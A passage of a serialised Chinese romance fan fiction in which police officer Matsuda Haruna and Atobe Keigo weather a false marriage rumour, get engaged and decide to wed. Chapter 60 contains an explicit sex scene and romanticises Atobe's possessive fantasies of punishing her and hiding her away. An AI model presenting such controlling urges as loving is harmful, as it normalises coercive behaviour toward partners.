经理干笑两声,示意服务员迅速上新菜:“打扰各位了。这是本店赠送的葱爆海参,另外今天消费全部打八折。” 在座的都是警察,这点小动作哪里瞒得过他们,纷纷心照不宣地笑起来。 松田春奈顶着大家八卦的目光,低头劈里啪啦地给迹部发消息。 “是你让人换得菜?” 迹部回得很快:“很明显吗?” “我们都是警察,你说呢?” “只是不想让别人借机给你献殷勤而已。” 松田春奈呼吸加重:“既然喜欢剥虾,那你今天晚上就一直在书房呆着剥吧!” 濑户凉太低头看着自己盘子里那只孤零零的,没来得及送出去的虾,微笑道:“看来迹部君对餐厅的品控很关心。” 松田阵平:“东京湾警察都没他管得宽。” 这顿聚餐在K歌的鬼哭狼嚎中走向尾声。 临走前,松田春奈拎着打包盒,坐在空荡的包厢里等着迹部来接她。 脚步声去而复返。 她抬头,看见濑户凉太站在门口,身形笔挺,直直地望着她。 “春奈,你近期有结婚的打算吗?”他问得突兀,声音比平时低了几分。 “结婚?我?”松田春奈惊讶地看着他,“当然没有!” 濑户凉太表情有些复杂,像是在斟酌下一句:“ 可是我听说,迹部家最近好像在谈联姻的事。” 松田春奈想起八卦杂志上那些捕风捉影的报道,如果连向来严谨的濑户也听到传闻的话,是不是代表这消息确有其事了。 她心下的第一个念头。还好她放在迹部公寓里的私人物品不多,真要搬走,一个行李箱就够了。 她拍拍濑户的胳膊,像当年在警校时一样:“我知道了,多谢你提醒。” 他皱了下眉,似乎没料到她是这个反应:“你不难过吗?” “难过什么?”松田春奈笑起来,透着股洒脱,“大不了就分手嘛。” “放心,我好着呢。” 她是真的没所谓。 迹部景吾那个人,耀眼夺目,站在金字塔尖。她喜欢他,却也从没觉得自己配不上这份喜欢。 濑户凉太看着她明媚的侧脸,嘴唇动了动。 “也就是说,你不会和迹部君结婚,是吗?” 松田春奈耸肩:“你们这种家庭,不都是联姻吗?” “我们家不是。只要两情相悦就可以。” “是吗?”松田春奈随口应和道,“那听起来还不错。” “所以——”濑户凉太那双总是冷淡的眼睛里,仿佛有什么东西正在燃烧,“要和我试试吗?” “试什么?”松田春奈眨了眨眼,有点懵。 “既然你说不会和迹部君结婚,那和他分手之后,要和我谈谈试试吗?” 松田春奈看着他,突然愣住了。 “你喜欢我?” 这太荒谬了。她脸上的表情完全僵住,甚至怀疑自己出现了幻听。 濑户凉太捅破了那层压抑多年的窗户纸,语气变得异常坚定:“是的。从警校的时候就开始喜欢了。” 包厢的门关得并不严,门外的走廊上,迹部景吾修长的身影定在原地,里面的对话听得一清二楚。灯光从缝隙里透出来,在他的皮鞋前投下一道细长的光带。像条划开的界限,把他和把他们分成了两个世界。 他听着另一个男人,用那种热切的声音,在向他的女朋友表白。 他垂下眼睫,将眼里的晦涩遮住。 他早该知道的。 知道她从不看好两人的未来。 答案其实也很明显。 他送的珠宝,她很少佩戴。那套他特意为她买下的公寓,也只有在他回国的时候,她才会过去住几天。 她一直在等。 等待一个足够体面的分手时机。或许,最好是由他先开口,她才能毫无负担地顺势应下。这样她就不用背负“抛弃”他的心理压力,可以继续做那个潇洒自由的松田春奈。 迹部景吾绷紧下颌,沉沉地盯着眼前的门。 也许春奈她还不清楚,资本家的血液里流淌着的就是掠夺和占有。 既然之前答应过他会永远在一起,那这句承诺,就不能只有他一个人当真。 言而有信是项良好美德。 如果有人想做坏孩子,不打算遵守,那他自然有他的办法,让她慢慢学会。 迹部加重了脚步声,里面的交谈声戛然而止。 他调整好表情,看向松田春奈:“春奈,该回家了。” 也许是积蓄已久的心意终于说出口,濑户凉太只是沉默地站在一旁。 松田春奈把打包盒递给迹部,一路上两人默默无言。她纯粹是被濑户石破天惊的告白给震惊住了,完全不知道该怎么应对。 她举着手机删删减减,在纠结如何措辞才能不影响两人的同事关系。 被同事告白这种事也不是没有过,但别人都是抱着想让她知道自己的心意而已,这还是第一次有人跟她商量“预制男友”。 她有限的情商真的处理不了这种事情。 她翻着通讯簿,停在了忍足侑士的名字上。 大学的时候,她确实问了他不少如何婉拒别人的套话。结果这家伙是个大嘴巴,转头就全说给迹部了。 Pass。 这个绝对不行。 迹部景吾的声音在安静的车厢里响起:“在和谁发消息,这么认真?” 松田春奈有些心虚地摁灭手机:“没谁。” 周边的霓虹灯在她的脸上明暗交错,让他无法确定她的心意。 凭什么。 明明是两个人谈恋爱,却只有他自己在患得患失。 迹部一个甩尾,在公寓停车场停下。 他熄灭车内的灯,周遭突然暗沉下来,正如他的语气。 “宝宝,你有什么想和我说的吗?” 他侧过身,目光在昏暗的光线里锁住她。 松田春奈心头一跳,下意识以为他听到了她和濑户的对话,随后又笑自己敏感。 真要是被他听见,他肯定当场就要爆炸了,怎么会等到现在。 她悄声叹口气。 她倒是想说实话,但是本来他们两人就不对付,要是这件事再说出口。她担心前一秒她刚说完,后一秒迹部就开车带她去打小三了。 毕竟这事他真能干出来 松田春奈镇定道:“没有啊。” 迹部景吾眼神幽深,没再说什么,揽着她上了电梯。 刚进玄关,松田春奈还没来得及换鞋,湿热的吻就铺天盖地落了下来。 这次的亲密带着不同寻常的掠夺意味。 他的舌尖强硬地撬开她的齿关,不停地吮吸纠缠,仿佛要将她拆吃入腹。后背是冰凉的墙壁,前面是滚烫的身体,她感觉自己像一块被夹在中间的冰块,正在迅速融化。 “见你之前我就漱过口了。”迹部突然低声说道。 松田春奈被亲得晕头转向,思维迟钝,一时没理解过来这句话的用意。下一秒,她便被他轻易地抱起来,放在了玄关的装饰桌上。 他朝她笑了笑,然后钻进了她的裙摆。 粗粝的大舌擦过细嫩的皮肤,她惊得骤然夹紧双腿,只听得迹部闷笑两声。他轻拍她的屁.鼓,示意她放松。他的正装还没脱下,昂贵的袖扣时不时刮擦到她的大腿外侧,带来一阵战栗。 她的裙摆因过大的动作被掀起一角,能隐约看到他吞咽时滚动的喉结。 承受不住的时候,她抓住他的头发,声音颤抖地说着“够了”。 迹部抬起头,高挺的鼻梁上还带着水渍。 “这才一次而已,根本不够。” 他没等她缓过来,便再次俯身。厚实的背部肌肉隔着熨帖的三件套西装依然轮廓分明。连续的高巢让松田春奈浑身脱力,纤细的小腿软软垂落,落在他温热的手掌中。 不够,不够。 怎么样都吃不够。 迹部的动作越来越凶悍。 之前在门外强行压抑的情绪,在触碰到她之后彻底爆发。 只要一想到她有和自己分手的打算,他就控制不住自己的戾气。 真想把所有觊觎她的人通通清除,让她的眼里只剩下自己。 亲吻变得愈发凶狠,带着惩罚般的力度。 他甚至阴暗地想,是不是该把她做到晕过去,然后带到某个与世隔绝的海岛上藏起来,这样她就再也不会想着离开自己。 松田春奈第一次知道,彻底放纵的迹部景吾是这样的。 他的衬衣扣子被扯开几颗,胸膛上是交错的红印。领带被丢到一旁,看起来又湿又皱。 她不知道自己到底去了几次,意识模糊间,好像听到他一直在自己耳边说着什么不要离开的话。 她的感官早已过载,只能无力地瘫软在迹部怀里。那条可怜的裙子只是颤巍巍地挂在身上,几乎起不到什么遮蔽作用。 反观迹部,除了衣服皱了些,看起来依旧维持着几分衣冠楚楚的模样。 他的唇瓣贴着她的耳廓,细密地啃咬:“你会离开我吗?” 松田春奈的意识仍在半空中漂浮。 听到这个问题,她用气声含糊地回应。 “如果你背叛我的话。” 迹部景吾自动把这句话翻译成了他此刻最需要听到的甜蜜情话。 他收紧手臂,将她更深地嵌入自己怀中,发出满足的喟叹。 “那就是永远都不会离开我。” 松田春奈太累了,累到已经没有力气再去追问那个关于联姻的传闻。 就在这极致的安静与疲惫中,她的肚子突然传来一声清晰的肠鸣。 所有的暧昧、旖旎,以及刚刚那点微妙的博弈都被打断了。 松田春奈身体一僵,恨不得立刻扯过被子,把自己埋起来。 迹部闷笑出声:“看来是体力消耗太大,累到宝宝了。” 他把她抱起来,让她双腿环住自己紧实的腰腹,然后稳步走向浴室。 “晚上吃牛排怎么样?” 松田春奈把脸颊埋进他肩窝,低声说好。 顿了顿,她又补充道:“你也先去换身衣服。” “怎么了?”迹部顺着她的目光看向自己的衬衣,那块被洇湿的布料很是明显。 他了然地挑眉,没再说什么,将她小心地放进浴缸里。 氤氲的热气升腾而起,模糊了彼此的眉眼,也仿佛暂时掩盖了横亘在两人之间悬而未决的问题。 迹部耐心地帮她吹干头发,才转身进了客用浴室冲了个战斗澡。 等他从浴室出来时,松田春奈正蜷在沙发上,看着无聊的综艺节目。渐渐地,她的目光从电视上,飘向厨房里那个忙碌的身影。 暖黄的灯光倾泻而下,勾勒出他肩宽腰窄的挺拔背影。 这一刻,她不得不承认,这个系着围裙为她下厨的男人,远比任何月色都更令人心动。 这温馨的气氛交织成一张温柔的网,让她不禁想要沉溺其中。 然而,濑户凉太那句关于联姻的提醒,如同精准启动的防沉迷系统,再次盘旋在她的脑海。曾在她在心中排练过数次的分手说辞,此刻却哽在喉咙里,怎么也说不出口。 算了。 她在心里对自己说。 至少,等安安静静吃完这顿饭再说。 没想到,电视里突然传来的熟悉名字。像一颗投入平静湖面的石子,打破了这份平和。 财经主播字正腔圆的声音在客厅里回荡。 “ 据知情人士透露,迹部家近期或将传出喜讯,这对稳定基金投资者信心无疑是利好消息” 松田春奈放下餐具,看着眼前面不改色,继续给自己切牛排的男人。他神色自若,仿佛电视里的讨论与他无关。 此刻,摆盘才是他的头等大事。 她深吸一口气:“既然你要联姻了,那我们就——” “我们才做过最亲密的事!”迹部景吾猛地打断她,声音里带着颤抖。 松田春奈被他这副样子惊得怔住。 她从未见过这样的迹部景吾。 那个永远高高在上,掌控一切的男人。此刻眼眶竟然微微泛红。像是被逼到绝境的困兽,强撑着最后的骄傲。 “你看到这种消息,”他声音低了下去,“为什么连问都不肯问我一句,就给我判了死刑。就想就想” 他最终还是没能说出“分手”那两个字。 仿佛那是禁忌的咒语,一旦说出口,就会万劫不复。 松田春奈叹口气:“我以为我们开始之前,大家心里都清楚的。” “清楚什么?清楚我们之间只是你定义的一场随时可以结束的关系,永远不会有未来是吗?” 他的声音里带着压抑的怒火和委屈。 “可那只是你一个人的想法,你从来没有问过我。你擅自给我们之间的关系划好了界限,随时准备抽身离开。” “可我怎么办?”他越说越激动,“你告诉我,我该怎么办?” 他的眼神阴郁下来:“告诉我,离开我之后,你还想和谁在一起?是不是濑户那个不要脸的小三?” 松田春奈终于明白了他今晚反常的缘由。 “你听到他对我说得话了?” “听见了。”迹部景吾说得咬牙切齿,“从他说要当你什么预备男友开始一个警务人员,竟公然插足别人的感情,我必须要投诉他!” 松田春奈:“他一开始只是想提醒我联姻的事” “那根本就是无稽之谈。”迹部景吾解释道,“你还记得我跟你说得那颗粉钻吗?” 松田春奈轻轻点头。 她当然记得。 当时他拍下后就迫不及待地跟她献宝,说将来要为她设计成独一无二的珠宝。 “我在拍卖会拍下它的时候,正巧被记者撞见了。我当时跟他们说,这是我要求婚用的,不知怎么就被传成了联姻。” “真是一群废物。” 他将那盘切好的牛排轻轻推到她面前:“不过,如果你愿意的话。这个传闻,也可以变成真的。” 说着,他在她惊愕的目光中,从口袋里取出一个天鹅绒盒子。打开盒盖的瞬间,一枚流光溢彩的粉钻戒指在灯光下熠熠生辉,折射出梦幻般的光芒。 “这枚戒指的设计图我画了很久,不知道你会不会喜不喜欢。” “我本来没想现在就拿出来。可我害怕,再等下去,你就不要我了。” 他深深望进她眼中,语速放缓,字字清晰。 “上次在拍卖会被记者拍到,我说的原话是——这枚钻石,是准备用来向我女朋友,松田春奈小姐,求婚用的。” 他拿起那枚戒指,却没有立刻为她戴上,只是托在掌心,递到她的面前。 “春奈,你永远是自由的。”他轻声说道,如同陈述一个事实,“但我恳求你,在你的自由里,能否始终为我留一个位置。” 作者有话说: 终于写到文案了,周五快乐啊大家。《 》 第61章【VIP】 第61章 松田春奈望着那枚被迹部景吾托在掌心的戒指,粉钻在灯光下折射出细碎的光。 他的眼神太认真,认真到她几乎能听见自己心跳在耳膜里鼓动的声音。 她确实犹豫了一秒。 也许不止一秒。 没办法,毕竟眼前这个人可是迹部景吾。 可最后,她还是遵从了内心最真实的声音:“景吾,我现在真的还没有结婚的打算。” 对她而言,婚姻太过遥远,像另一个世界的事。 迹部并没有收回手,反而又向前逼近半步:“那这枚戒指,就当作是你答应我。以后你规划人生的时候,会把我算进去。” 松田春奈看着他紧绷的下颌线,轻轻点头:“好。” 迹部松了口气,不由分说地将戒指套上她的中指。 “还是小了。”他摩挲着她的指节,语气里带着惯有的挑剔,“下次拍卖会,我再物色些更好的原石。” “这样就很好。”松田春奈低头看着指间那抹粉色,声音很轻。 安静了几秒,她像是下了什么决心,抬眼看他:“明天,我们去买一副对戒吧。” 迹部景吾愣愣地看着她,额前的碎发掉进了眼里还不自知。 松田春奈被他看得有些郝然。 她伸手把他的碎发往后捋,露出他英挺的眉眼。 “这个太高调了,我工作的时候不方便戴。”她晃了晃手上那枚过于显眼的戒指。 这句话的潜意思是,她需要一件更日常的、能时时刻刻戴在手上的,属于他们两个人的信物。 反应过来的迹部景吾,一把攥住她还没收回的手。他的掌心紧紧包裹住她的指尖,眷恋地蹭了蹭。 “我现在就让品牌方把最新的款式册发过来。今晚选定样式,明天一早就能送到。”他的声音里带着藏不住的雀跃,“这样我明天上班的时候就能戴上了。” 看着屏幕上那些在她看来几乎是一个模子刻出来的铂金素圈,松田春奈感觉眼睛都要花了。反倒是旁边的迹部景吾,一直在兴致勃勃地给她指着细微的差别。 “这款弧度过平,戴着会硌手。这个边缘抛光太粗糙,容易刮伤你。这款的内壁可以刻字,但定制要等两周还是算了。” 忙了一天,又是聚餐,又是高强度运动,又是深夜谈话,松田春奈的精力早已告罄。 她偏头看向仍在认真比对戒臂厚度的男人,干脆地把选择权交了出去:“你定吧,我就一个要求,一定要低调!” 她故意板起脸:“你也不想你女朋友因为佩戴奢华首饰被民众投诉吧,迹部大少爷?” 迹部景吾笑着应下,替她调暗了床头的阅读灯。看着她恬静的睡颜,他伸手,指尖轻轻拂过她的发丝。 好在他深谙谈判与博弈之道,迹部的内心不免有几分得意。这不,原本带着分手念头来的松田春奈,不仅留了下来,还要和他买情侣同款。 偶尔示弱,精准出击,他迹部景吾才是此中高手。 为了早点抱着女友睡觉,他很快选定了一对设计简单的铂金对戒。他将平板放到一边,自然地侧身,从背后将松田春奈拥入怀中,嗅着那令人安心的淡淡香气,沉沉睡去。 第二天清晨,松田春奈醒来的时候,发现自己左手无名指上多了份陌生的触感。她抬手一看,一枚纤巧的铂金素圈正妥帖地圈在她的指根,尺寸分毫不差。 晨光下,戒圈泛着温润柔和的光泽,简约又大气。 大少爷的品味确实无可挑剔。 松田春奈嘴角弯起,心情愉悦地举起手,对着晨光拍了张照片。背景虚化成柔和的色块,焦点全在那枚低调的戒指上,然后分享到了她的社交账号上。 没过多久,评论区就热闹了起来。 “想和妹妹买同款。有没有课代表扒一下牌子啊。” “老婆老婆!看我!我命定的老婆!” “宝贝女鹅,最近都不怎么出镜了,妈妈好想你啊!” “妹妹,想看自拍!九宫格那种!” “楼上想看脸的,指路去妹夫那里。他发图的频率比本尊高多了。” “哈哈哈没错,昨天妹夫还发了张玻璃反光的合影,虽然模糊但那个氛围感啧啧,暗搓搓秀恩爱最高!” “看财经报道,妹夫海外项目彻底结束了,这是要常驻国内了?以前异国的时候都秀得飞起,这以后同城了,我们CP粉岂不是天天过年?” 迹部景吾显然也关注着她的动态,飞快地给好几条评论点了赞。 松田春奈的假期还剩几天,迹部景吾的休假却先到了头。临出门前,他拎着两条领带蹭过来。 松田春奈正对着镜子绑头发,回头瞥了一眼,指尖点向墨绿色那条:“选这个,正好配你这件暗纹西装。” 迹部手指灵活地打好温莎结,凑过去在她唇上啄了一下:“走了。” 过了几天如胶似漆的二人世界,房间里乍一剩下自己,松田春奈竟觉得有些空落落的不习惯。她甩甩头,干脆利落地预约了警视厅的训练室,准备去活动活动筋骨。 没想到在训练室门口,正好撞见了胡子拉碴的松田阵平。他眼尖得很,视线一下就钉在了她手上。 “训练的时候,不要戴这些花里胡哨的,容易伤到自己。”松田阵平眉头拧着,语气硬邦邦的,“他没常识,你也没有吗?” 一旁的萩原研二无奈地用手肘碰了碰他:“小阵平,好好说话。” 松田春奈自知理亏,默默取下戒指放进包里。 松田阵平没再多说,直接拎着自家妹妹的后衣领就往里走:“正好没活动开,今天跟你对练。” 结果可想而知,她被自家亲哥和萩原研二联手“教育”得彻彻底底。 松田阵平的拳脚又快又狠,专挑她动作的破绽打。萩原研二则像条滑不溜秋的鱼,总能在她防御的间隙补上一下。两人一刚一柔,配合得比拆炸.弹时还默契。 结束时,松田春奈毫无形象地瘫在地板上,喘着气抗议:“你你们二打一!还车轮战!太不公平了!” “你出警的时候,也这么跟犯罪分子讲公平?”松田阵平居高临下地看着她,“不过,现在起码耐力比以前是好了不少” 松田春奈闭着眼睛哼哼唧唧地应付着,内心却早已放飞,盘算等会儿到底喝冰可乐还是冰咖啡。 没等她想明白,亲哥那冷飕飕的声音又飘了过来:“休息五分钟,起来再练一组基础拳。” “我不去!”她猛地睁开眼,“你这是虐待下属!我要去找上级投诉你!” 萩原研二笑着替她求情:“行了小阵平,让春奈多歇会儿,十五分钟后再练也不迟。” 松田春奈感动得差点哭出来:“研二哥,你才是我亲哥!我以后有好吃的都先给你留着!” “先别忙着认亲。”松田阵平轻嗤一声,转头看向萩原研二,“你起来,咱俩对练会儿,让她看着学学标准动作。” 两人很快在场中交起手来,拳脚相碰发出沉闷的“砰砰”声。 就在这时,迹部景吾的消息适时跳了出来:“今晚宴会田中前辈也会到场。宝宝想去吗?” 松田春奈的眼睛瞬间亮了。这位田中警官正是前任警视总监,破过的悬案能编一本厚书,一直是她的偶像。她上次托人要签名没成功,没想到这次有机会当面请教。 她立刻挣扎着坐起来,手指飞快地打字:“我现在在警视厅训练室,刚练完体能。” 消息发出去没两秒就收到了回复:“好,我半小时后到警视厅门口接你,先回家换衣服。” 松田阵平一边格挡萩原研二的攻势,一边还能分神瞥她屏幕:“你今晚要跟迹部去那个什么宴会?” 见她点头,他干脆收了手,语气沉了下来:“今天是晚宴,明天可能就是慈善拍卖、名流酒会。这样的场合,你真能习惯?” 他看着她,目光锐利:“别忘了,你当初拍着桌子说要做最年轻警视总监的,可不是想当什么豪门太太。” “哥,我知道!”松田春奈急忙解释,“我是为了田中警官去的,顺便请教一下新月案的细节,跟迹部没关系。” 松田阵平语塞:“哦,那确实该去。” 他随即又板起脸:“那你别瘫着了,趁他来之前,再来加练一组。” 最后一轮对练结束,松田春奈几乎是被俩人半扶半架着走出训练室的,双腿软得像煮过头的面条。 迹部景吾来接人时,松田阵平一直目送着他们上车,那眼神活像在押送重刑犯。 萩原研二看着松田阵平沉重的脸色,递过去一罐咖啡:“还皱着眉?我听着春奈是去见田中前辈,这不是好事吗?” 松田阵平无奈道:“我知道见田中前辈对她有好处,但我担心的是,迹部在用这些好处当糖衣炮弹,一点点把春奈往他的世界里拽。” “他们都谈多久恋爱了,早就在一个世界里了好吧”萩原研二吐槽道。 松田阵平沉默地灌了一口咖啡。 萩原研二拍了拍他的肩,安慰道:“别想那么复杂,放心,春奈不是那么容易被引诱的小姑娘。” 松田阵平:“万一那糖衣炮弹够大呢?万一他以后用婚姻做筹码,支持她、甚至动用资源帮她竞争警视总监的位置呢?那种诱惑,她扛得住吗?” “就算是迹部开出这种筹码,也是因为他想和春奈过一辈子,又不是害她。”萩原研二语气温和,“小阵平,春奈是成年人了。她比我们要更清楚自己到底想要什么。” 到时候,谁是谁的猎物还不一定呢。 松田阵平瞥了他一眼,略带嫌弃地说道:“算了,跟你说不明白。我还是去找降谷零取取经吧,他的心眼比咱们几个加起来都多。” 松田春奈回到公寓时,迹部约好的造型团队已经等在客厅了。好在他这套顶层公寓格外宽敞,挑高的穹顶搭配全景落地窗,这么多人在里面也不会显得拥挤。 化妆师只给她上了层薄薄的底妆,将长发松松挽起。想起早上给迹部挑的那条暗绿色领带,她特意在礼服中选了条同色系的丝绒长裙。裙摆微微散开,走动时如同流动的星河。 “这条裙子的裙摆,”迹部走近她,带着若有似无的笑意,“比你上次聚餐那条还要大。” 松田春奈立刻想起上次两人在玄关发生的荒唐事,用裙摆轻轻甩了下他的西裤裤腿。 “你满脑子都在想什么?” 迹部低笑,捉住她的手腕:“我在想,今晚回家,或许可以让你扇得更重一点。” 晚宴现场设在市中心的豪华酒店宴会厅,水晶灯下衣香鬓影,松田春奈没心思欣赏这奢华排场,目光像雷达般扫过全场,很快锁定了角落里的目标。 田中正和正独自站在香槟塔旁,手里端着杯气泡水浅酌。 她立刻取了杯无酒精果汁,快步穿过人群走过去。 田中警官是位极其温和风趣的长者。松田春奈没想到他居然知道自己,还准确说出了她去年经办的一个案子,这让她受宠若惊。 “虽然退休了,电视新闻我还是看的。”田中警官笑眯眯地,“而且,身边也有人时不时提起你,说你这姑娘很有冲劲,是个好苗子。” 两人就一桩旧案的作案手法聊了起来。田中警官讲到关键处,还会用手比划着还原现场。松田春奈听得专注,不时提出自己的见解,收获颇丰。 正当他们讨论得投入时,一个熟悉的身影出现了。濑户凉太穿着剪裁得体的深灰色西装,径直走向他们,对着田中警官恭敬地叫了声“叔叔”。 他的目光随后落在她身上,带着显而易见的欣赏:“春奈,你今天很漂亮。” “谢谢。”松田春奈干巴巴地回应,感觉有点不自在。 任谁前几天刚拒绝别人,转头又碰见表白对象都会觉得尴尬。 田中警官何等精明,立刻看出端倪,笑着拍了拍濑户的肩膀:“你们年轻人聊,我去跟老同事打个招呼。” 他冲松田春奈眨了眨眼,转身便融入了人群。 “你和田中警官是亲戚?”松田春奈惊讶道。 “算是远房叔叔,逢年过节才见一次。”濑户凉太解释道,他的声音里带着歉意,“今天来主要是想跟你道歉,之前告诉你迹部君要联姻的传闻,是我没核实清楚,对不住。” 松田春奈欲言又止。总不能说他不仅没联姻,还刚跟她求过婚还被拒绝了吧? 她只好点点头,含糊地说没关系。 “没打扰到你和迹部君的关系就好。” “当然没有。”迹部景吾快步走到松田春奈身侧,自然地揽住她的腰。 “不过,还是要多谢濑户君的提醒,不然我和春奈的关系,也不会进展这么快。”他故意说得语焉不详,两人手上的相同对戒在灯光下闪着微光。 濑户凉太的目光在戒指上停了两秒,随即转向春奈,语气温和:“春奈,虽然传闻是假的,但我那天说的话是真的。”他顿了顿,没给她插话的机会,“如果哪天你有换男友的打算,记得我第一个排队。” 迹部景吾假笑道:“那这场队,恐怕永远排不到头。” “是吗?”濑户凉太笑了笑,端起侍者递来的香槟,“但这世上的事,谁也说不准,不是吗?”《 》 第62章【VIP】 第62章 时光荏苒,那枚素圈戒指几乎成了松田春奈身体的一部分,也意外成了警视厅和粉丝圈的“顶流单品”。 因她常年佩戴,同款戒指销量猛增,甚至一度断货。原因无他,实在是她的手生得太过好看。 手指纤长,骨节分明。明明带着常年握枪形成的薄茧,却丝毫不影响整体的秀气。银色素圈戴在她手上,硬是戴出了高级定制的感觉。 除了出现场和体能训练等必要情况,这戒指她从不离身。 上法制节目录播,镜头扫过她握笔的手,银圈在灯光下闪得规整。就连去大学开讲座,她挽着衬衫袖口板书,都能被台下举着手机的粉丝精准捕捉。 甚至有看热闹不嫌事大的粉丝,跑到迹部景吾的社交账号下留言。 “能不能给女神换个带钻的?素圈都快戴包浆了!” “求升级戒指配置!松田警官的肩章都升了,装备得跟上啊!” 迹部景吾回复了其中一条,语气是他一贯的张扬风格:“她喜欢的,就是最好的。” 然后转头就给松田春奈的首饰盒添新成员。从鸽血红宝石耳钉到星空蓝宝套装,件件都是能上珠宝杂志封面的精品。 他甚至还自创了个“重新恋爱日”,就定在当年松田春奈让他买对戒那天。 每年此日,他都会送上精心挑选的礼物,并附赠一句万年不变的询问。 “要结婚吗?” 而松田春奈的回答也从没变过。 她会摩挲着旧素圈,笑着说我想再等等。 这一等,就从樱花飘落到冬雪积肩。 最后一个岗位轮岗结束时,松田春奈的肩章上已经有了三颗星徽,外加一枚象征特殊贡献的银色桐叶章,距离她目标的警视总监之位,仅一步之遥。 现在她去参加晚宴,不再是跟在迹部身后的女伴,而是会被各界大佬主动上前攀谈的松田警视监。大家递名片时眼神里的敬佩,比当年看她和迹部同框时的八卦要真诚得多。 尽管当年明确拒绝了濑户凉太,但她与田中警官的忘年交谊却保留了下来。在她进行最终晋升考核前,田中警官特意约她喝茶,语重心长地提点。 “春奈,你的能力和成绩有目共睹。不过到了这个层面,稳定的家庭往往是考察的一个重要参考项。它能侧面反映一个人的责任感和稳定性。” 松田春奈明白这是前辈的肺腑之言。 她刚要点头,就被老警官话锋一转逗笑:“不过你也别愁,我家凉太那小子还单着呢,工作能力强又靠谱,我四星推荐!” 濑户凉太如今仍在她的部门,是她得力的左膀右臂。 当然,也依旧是单身。 松田春奈一时语塞,只能干笑两声,借口手头还有案子要处理,便匆匆告辞离开。 倒也不算说谎。 最近那桩跨国经济诈骗案确实让她头疼。资金流向错综复杂,关键线索始终若隐若现。回到办公室,她立刻投入到案卷中。 直到眼睛传来酸涩的刺痛感,她才意识到自己已经盯着屏幕太久。密密麻麻的数字在眼前晃动,几乎要连成一片。 手机震动,是迹部景吾发来的消息:“下楼,十分钟。” 松田春奈抬眼看向窗外,发现已经到了他每天特意过来陪她吃晚饭的固定时间。但凡他在国内,只要遇上松田春奈加班,他晚上都会准时出现在警视厅楼下。这已经成了他们之间不成文的规定。 松田春奈揉着眼睛走出大楼,一眼就看见那辆停在老位置的黑色轿车。 “市中心那家的猪扒饭,”他边说边打开食盒,“你上周说想念他们特制的酱汁。” 松田春奈怔怔地看着他熟练地摆好餐具,心里某个角落突然软了一下。 那不过是她某天深夜加班时随口说的一句话,连她自己都快忘了。 他细心地帮她将猪扒切成适口的大小,动作自然得仿佛已经这样做过千百遍。 吃完饭,她准备下车继续加班。迹部景吾也重新打开电脑:“我在这处理完这些文件。你结束叫我。” “其实你不用每次都等我” “快去吧,”他冲她摆摆手,“别耽误进度。” 回到办公室,松田春奈偶尔望向楼下。那辆车始终停在那里,像一座沉默的灯塔。知道有人在守候,连枯燥的卷宗都变得不那么难熬了。 走出办公楼时已是深夜,那辆车依然停在原地。 透过半降的车窗,她看见迹部景吾正开着视频会议。纯正的英伦腔在静谧的夜色中格外清晰。屏幕的微光映在他脸上,勾勒出专注的轮廓。 她停下脚步,站在车外静静地看着他。 似乎是心有灵犀,他蓦地抬眼。四目相对的瞬间,他转头说了几句后便利落地结束了会议。 “都结束了?”他轻声问,眼底有淡淡的倦意。 松田春奈望着窗外的车流,忽然轻声开口:“景吾。” “嗯?” “今年重新恋爱日的礼物,我想要点不一样的。” 迹部挑眉,等她的下文。 她转过头,眼中带着坚定:“我们去区役所填张表吧?” 这句话说出口的瞬间,她感到一种奇异的平静。仿佛这句话早已在心底酝酿了千万遍,只等这一刻破土而出。 车内音乐恰好播到一个休止符,有那么一瞬间的安静。 迹部景吾握着方向盘的手微微收紧。他缓缓将车靠在路边,然后侧过身,深深地看着她。 “你想好了?不用再等等吗?我怕你冷静下来会反悔。” 他半开玩笑地说,眼神却泄露了他的紧张。 在这个永远游刃有余的男人眼中,松田春奈第一次看到了如此明显的不确定。 “不等了。”她握住他的手,“仔细想想,我们在一起的时间,已经比这辈子不认识对方的时间还要长了。” 这个简单的发现,让她感到一种奇异的安宁。 人生这条长路,他竟然已经从偶然遇见的风景,变成了携手走的同路人。 “我熬夜加班,你就守在楼下。我压力大到睡不着的时候,你就陪我在阳台拼图到天亮。你一直在用你的方式爱着我。你支持我追逐所有的梦想,在我疲惫时给我一个可以停靠的港湾。” 她的声音轻柔却坚定:“现在,我想让这个暂时的港湾,变成永远的家。” 他从未用爱意捆绑她,而是为她铺平前路,让她可以心无旁骛地飞翔。 这个骄傲的男人,从来不会用言语标榜自己的付出,却把爱意融进了每一个日常的细节里。 松田春奈在他那双总是冷静自持的眼里,看到了翻涌的情感。 “好。”迹部景吾深深吸了一口气,将她的手握得更紧,“我们结婚。” 在他闪烁的泪光里,她看见了那个卸下所有防备的灵魂。原来有些等待,是为了此刻的确信。 而她终于明白,有些等待是值得的,有些决定是命中注定的。 迹部景吾抹了下眼角,平复好心情之后,就开始搜索区役所下班时间。在看到他们半小时前就下班的消息之后,立刻拨通秘书电话:“明天上午所有会议延期,我有重要私事处理。” “结婚登记需要多久?”他表情突然严肃起来,“我们是不是应该先咨询一下。万一出现不可控因素怎么办?我还是明天请一天假更保险。” 松田春奈哭笑不得地拉住他:“我听前辈们说过,区役所盖章挺快的。” “万一系统故障或者机器坏了怎么办?” “应该不会吧” “不行,”迹部景吾态度坚决起来,“明天还是让区役所的人上门办理比较好,这样才能万无一失。” “这样会不会太夸张了?” “相信我,”迹部景吾一脸正色,“这已经是我们家族成员里最低调的结婚仪式了。” 松田春奈拗不过他,只好随他安排。 迹部忽然想起什么,问道:“明天结婚这件事,你要告诉叔叔阿姨吗?” “明天办完再说也一样,反正我爸妈早把你当女婿了,”松田春奈叹了口气,“倒是我哥” “还在给你张罗联谊。”迹部接话飞快。 提到松田阵平,松田春奈有些无奈:“不知道降谷哥给他出了什么主意,他现在每年一到警校毕业季,就兴冲冲地给我张罗联谊。不过你放心,我都当成警视厅宣讲会去参加的,正好多物色几个好苗子,不然就我们几个人干活,迟早要累死。” 迹部景吾当然知道有太多人在孜孜不倦、前仆后继地挖自己的墙脚。但是,谁让那些人既长得不如自己好看,身材也不如自己合她的心意。关于这点,虽然他嘴上不说,心里却得意得很。 松田春奈掰着手指数了数,累计到现在,还真让她挖来几个特别好的新人,如今在重案组干得风生水起。 “就是不知道为什么,本来挺帅的几个年轻人,现在越来越黑,身材也越练越像牛蛙了” 听着她的吐槽,迹部景吾笑而不语。 他知道这几个人肯定是被濑户凉太那家伙给忽悠瘸了。说到这,他们两人虽然都厌恶对方,但在筛除潜在情敌的份上,做得还算有默契。 一个负责物理隔离到别的支队,一个负责在外形上搞错误情报。 “明天你想选谁当我们的结婚证人?”迹部问道。 